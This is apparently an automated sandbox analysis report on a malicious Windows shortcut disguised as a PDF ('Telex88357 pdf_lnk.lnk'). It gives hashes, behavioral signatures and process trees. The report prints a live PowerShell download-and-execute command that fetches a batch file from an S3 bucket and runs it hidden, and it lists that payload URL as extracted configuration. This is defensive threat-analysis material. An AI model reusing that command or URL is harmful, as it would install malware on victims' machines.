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Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
15/06/2024, 07:51
Static task
static1
Behavioral task
behavioral1
Sample
Telex88357 pdf_lnk.lnk
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
Telex88357 pdf_lnk.lnk
Resource
win10v2004-20240508-en
General
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Target
Telex88357 pdf_lnk.lnk
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Size
2KB
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MD5
f74968ddce728020a6b4a1378bbf4d41
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SHA1
ba807d98906bf7dc33eb237c4da13162f599b595
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SHA256
ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50
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SHA512
4a226c31e74305594a34053b5cafa5d11ba37835c7c631734a2d8a0b65f1de85126b76a6befd0901386a1d986d1b5be1e311a9bfea952017e1eb658b37869b82
Malware Config
Extracted
https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2592 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2592 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2592 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2964 wrote to memory of 2592 2964 cmd.exe 29 PID 2964 wrote to memory of 2592 2964 cmd.exe 29 PID 2964 wrote to memory of 2592 2964 cmd.exe 29
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Telex88357 pdf_lnk.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat', 'C:\Users\Admin\AppData\Roaming\cor.bat'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\cor.bat'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2592
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